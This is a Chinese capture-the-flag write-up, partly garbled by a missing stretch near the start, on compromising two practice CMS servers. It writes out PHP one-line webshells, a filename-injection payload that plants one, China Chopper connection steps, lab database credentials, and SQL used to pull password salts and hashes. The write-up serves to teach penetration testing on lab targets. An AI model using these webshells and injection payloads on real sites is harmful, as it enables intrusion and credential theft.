渗透测试笔记——入门篇
时间:2018-03-19
0x00 前言
这两个 CMS 同样能在网上找到许多漏洞,常用作渗透测试的练习靶机。根据提示,第 1 题要求找到咨询平台的管理员账号密码;第 2 题需要登录服务器后台,并插入木马,再用中国菜刀连接,继而找到在管理员桌面上的 flag 文件;第 3 题要求在论坛社区的数据库中找到 admin 账户的 salt
值。
- 题目链接:https://www.ichunqiu.com/battalion?t=2?php @assert($_POST['cmd']); ?> 后保存设置:
这里为什么不用传统的一句话木马
?php @eval($_POST['cmd']); ?>
呢?因为 CMS 对eval()
函数进行了过滤,会将其转变成eva l()
:所以此处能用
assert()
函数写入木马,也体现了 CMS 的写入过滤不完全。接着点击 系统功能 -> 频道独立页管理 -> 添加频道页,在 频道页名字 处填上任意字符(此处以sqli
为例),在 静态文件名 处必须填上.php
文件名,否则菜刀连接不上(此处以sqli.php
为例):点击 提交 后,可在 频道管理页 中看到所添加的频道页,接下来一定要点击 静态化 按钮,才能正常访问
http://www.test.ichunqiu/sqli.php
,否则只会弹出 404 页面:在确认能够正常
sqli.php
页面后,准备 添加SHELL 进行菜刀连接:成功连接后,在管理员桌面上看到了 flag 文件:
打开 flag 文件即可获得
key{636bb37e}
,因此第 2 题答案就是636bb37e
:前台栏目投稿自定义文件名写入木马
第二个漏洞是在前台栏目投稿设置信息中的 自定义文件名 输入框内触发,因此需要“自定义内容页文件名”的权限,不过我们已经有了管理员权限,故不必担心此问题。详情可参考:
首先用账号
admin
与密码whoami!@#123
在前台登录,并点击 !我要投稿:任选一栏目,在 我要投稿 处点击 发表(此处以社会新闻栏目为例):
先在 其他设置 标签页下的 自定义文件名 输入框中写入木马
x';@assert($_POST['cmd']);//y.htm
:其中
x';
是为了闭合代码中的左单引号,//y.htm
是为了使整体文件名有静态网页的后缀,并且注释掉后面的代码。注意此处不能用eval()
函数构造木马,与前文一样会被过滤。再回到 基本信息 标签页下,将带
(*)
的必填信息填好后提交:提交后访问
http://www.test.ichunqiu/data/showhtmltype.php
,成功看到报错信息:接下来 添加SHELL 进行菜刀连接:
成功连接后,可在
/data/showhtmltype.php
源码中看到所添加的木马,印证了漏洞的存在:查看管理员桌面上的 flag 文件与前文一致,此处不再赘述。
0x03 获取 bbs.test.ichunqiu 数据库中 admin 的 salt 值
第 3 题终于引入了
http://bbs.test.ichunqiu
论坛社区...的数据库了。出题人好像为了方便我们直接进行本题,特意在主站根目录下放了木马/2.php
,免去了上题插入木马的过程:所以下次想直接复现第 3 题,用菜刀连上此木马即可:
我们在根目录下可看到
/dedecms_bak
的文件夹,进一步搜索到 DEDECMS 的默认数据库配置文件为/data/common.inc.php
,打开一看,果不其然:但是主机地址显示为
172.16.12.3
,跟http://bbs.test.ichunqiu
好像没什么关系吧?其实不然,打开主机终端,用nslookup
命令可得到论坛的 IP 地址就是172.16.12.3
,顺便可看到主站的 IP 地址为172.16.12.2
:注意到数据库配置信息中是根用户权限,因此若能连上 DEDECMS 在
172.16.12.3
上的数据库,那么 Discuz! 在172.16.12.3
上的数据库也能被访问到!于是,在菜刀 添加SHELL 的配置中填入数据库信息(THUPL):小贴士:如何在菜刀中填入数据库配置信息请参考 黑站利器-中国菜刀的功能介绍和使用方法
T>mysql/T> H>172.16.12.3/H> U>root/U> P>opiznmzs/P> L>gbk/L>
保存设置后右键条目,选择 数据库管理,成功连接后可见服务器端的数据库管理界面:
又经过一番搜索,得知
ultrax
正是 Discuz! 的数据库,而dedecms
显而易见是 DEDECMS 的。我们的目标应该是ultrax
数据库中某个表的salt
字段,这里必须要介绍一下 MySQL 自带的information_schema
数据库,它提供了对元数据的访问方式,是 MySQL 中的百科全书,其中在information_schema.COLUMNS
表中记录了本数据库所有字段的相关信息。详情可参考:因此,只要输入一条简单的 SQL 语句,点击 执行,有关
salt
字段的所有信息将会呈现:SELECT * FROM COLUMNS WHERE COLUMN_NAME = 'salt'
最终我们在
ultrax
数据库的pre_ucenter_members
表中发现了salt
字段的值为9b47b6
:到此为止,渗透测试的最终目标已达成。
意犹未尽的各位看官可接着往下看,既然我们把
172.16.12.3
上的数据库给爆了,那也趁此机会,不妨把172.16.12.2
上的数据库也给爆了。经过搜索后发现,齐博 CMS 的默认数据库配置文件为/data/mysql_config.php
:然后在菜刀 添加SHELL 的配置中修改数据库信息:
成功连接后,在
qibov7
数据库的qb_members
表中发现第 1 题中管理员的账号与密码哈希值:至此,本题的两个服务器系统已被我们完全打穿。
0x04 小结
本题虽然有两台目标服务器,但万变不离其宗,熟练之后自然得心应手。在此过程中,我同样也受益匪浅,细心的读者会发现全文多次出现『搜索』二字,而渗透测试的核心正是收集目标系统的信息,挖掘其漏洞并加以利用。
以上是笔者之拙见,不足之处还望各位指出,有其他更猥琐的渗透的思路欢迎前来交流。最后向以下参考 writeup 的作者表示致谢!
>>>>>> 黑客入门必备技能 带你入坑和逗比表哥们一起聊聊黑客的事儿,他们说高精尖的技术比农药都好玩~
上一篇:区块链技术能为网络安全做些什么? 下一篇:AI和网络安全:防御革命